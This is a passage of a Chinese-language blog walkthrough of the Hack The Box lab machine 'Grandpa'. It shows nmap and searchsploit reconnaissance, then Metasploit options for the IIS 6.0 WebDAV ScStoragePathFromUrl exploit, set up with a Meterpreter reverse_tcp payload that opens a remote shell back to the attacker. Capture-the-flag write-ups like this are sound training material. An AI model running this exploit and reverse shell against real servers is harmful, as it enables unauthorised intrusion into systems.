Hackthebox::grandpa walkthrough

最新推荐文章于 2022-10-10 14:35:59 发布

维基人

最新推荐文章于 2022-10-10 14:35:59 发布

阅读量2k

点赞数

分类专栏： walkthrough 文章标签： windows 服务器运维

本文链接：https://blog.csdn.net/missmxr/article/details/122182941

版权

walkthrough 专栏收录该内容

7 篇文章 0 订阅

订阅专栏

Grandpa是hackthebox上一台难度为简单的windows靶机

信息收集

首先使用nmap扫描一下端口情况

然后使用nmap扫描一下是否存在漏洞

通过两次nmap的扫描，我们得知靶机开放了80端口，并且存在漏洞
使用searchsploit扫描Microsoft IIS httpd 6.0服务，看看是否有可以被利用的漏洞

我们发现了许多可以使用的脚本，再次使用msf查看是否可以利用‘

我们发现了可以利用的部分，我们使用第二个

msf6 exploit(windows/iis/iis_webdav_scstoragepathfromurl) > show options

Module options (exploit/windows/iis/iis_webdav_scstoragepathfromurl):

   Name           Current Setting  Required  Description
   ----           ---------------  --------  -----------
   MAXPATHLENGTH  60               yes       End of physical path brute force
   MINPATHLENGTH  3                yes       Start of physical path brute force
   Proxies                         no        A proxy chain of format type:host:port[,type:host:port][...]
   RHOSTS         10.129.166.10    yes       The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>'
   RPORT          80               yes       The target port (TCP)
   SSL            false            no        Negotiate SSL/TLS for outgoing connections
   TARGETURI      /                yes       Path of IIS 6 web application
   VHOST                           no        HTTP server virtual host


Payload options (windows/meterpreter/reverse_tcp):

   Name      Current Setting  Required  Description
   ----      ---------------  --------  -----------
   EXITFUNC  process          yes       Exit technique (Accepted: '', seh, thread, process, none)
   LHOST     tun0             yes       The listen address (an interface may be specified)
   LPORT     4444             yes       The listen port


Exploit target:

   Id  Name
   --  ----
   0   Microsoft Windows Server 2003 R2 SP2 x86